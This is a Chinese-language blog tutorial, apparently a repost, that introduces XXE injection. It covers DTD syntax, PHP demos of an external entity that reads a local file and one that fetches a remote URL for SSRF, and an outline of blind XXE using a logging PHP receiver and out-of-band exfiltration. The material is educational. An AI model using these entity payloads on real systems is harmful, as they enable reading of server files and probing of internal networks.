首页 > 其他 > 详细

XXE漏洞——介绍及利用

时间:2021-01-20 15:17:16      阅读:19      评论:0      收藏:0      [点我收藏+]

什么是xxe

XML外部实体注入,简称XXE漏洞。XML文档结构包括XML声明,DTD文档类型定义,文档元素。

XML示例

    <?xml version="1.0"?>XML声明
    <!DOCTYPE note [
    <!ELEMENT note(to,from,heading,body)>
    <!ELEMENT to(#PCDATA)>
    <!ELEMENT from(#PCDATA)>            文档定义类型(DTD)
    <!ELEMENT heading(#PCDATA)>
    <!ELEMENT body(#PCDATA)>
    ]>
    <note>
    <to>tove</to>
    <from>jani</from>
    <heading>reminder</heading>
    <body>don‘t forget me this weekend</body>            文档元素
    </note>

DTD的内、外部声明

  1. 内部声明格式
<!DOCTYPE 根元素 [次一级元素声明]
  1. 外部引用格式
<!DOCTYPE 根元素 SYSTEM "url路径"

PHP示范利用DTD的外部使用操控XML

php代码
<?php
	$test = ‘<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "file:///c:/phpstudy_pro/123.txt">]><xxx3>&xxx2;</xxx3>‘;  //后面的标签名,&实体声明一定得有
	$obj = simplexml_load_string($test, ‘simpleXMLElement‘, LIBXML_NOENT);
	print_r($obj);
?>
结果:

技术分享图片

外部DTD支持的协议

技术分享图片

简单漏洞利用!

可以让目标服务通过特定协议去访问相关资源,从而实现SSRF(服务器请求伪造)
攻击。我们还可以进行内网服务探测、端口探测等利用
利用http请求baidu
<?php
	$test = ‘<!DOCTYPE xxx1 [<!ENTITY xxx2 SYSTEM "https://baidu.com">]><xxx3>&xxx2;</xxx3>‘;
	$obj = simplexml_load_string($test, ‘simpleXMLElement‘, LIBXML_NOENT);
	print_r($obj);
?>
结果

技术分享图片

虽然页面是很多Wraning警告,但其实我们已经得到了baidu的源码数据

盲注漏洞利用!

XXE中也存在盲注,不会给你显示东西。
思路
  1. 利用其他东西证明其存在

    • 延时

    • 写文件

      搭建一个服务器里边有个php(test_blind.php)文件,访问后搭建的服务器目录生成一个文件

      //test_blind.php  文件
      <?php
      file_put_contents("Yes.txt", $_GET["id"],FILE_APPEND);
      ?>
      

      技术分享图片

  2. 将结果外带出来

    • DNS注入

    • 反弹注入

SSRF和XXE最大的功能是能发起请求,这给了我们很大的空间发挥

XXE漏洞——介绍及利用

原文:https://www.cnblogs.com/beidaxmf/p/14302565.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!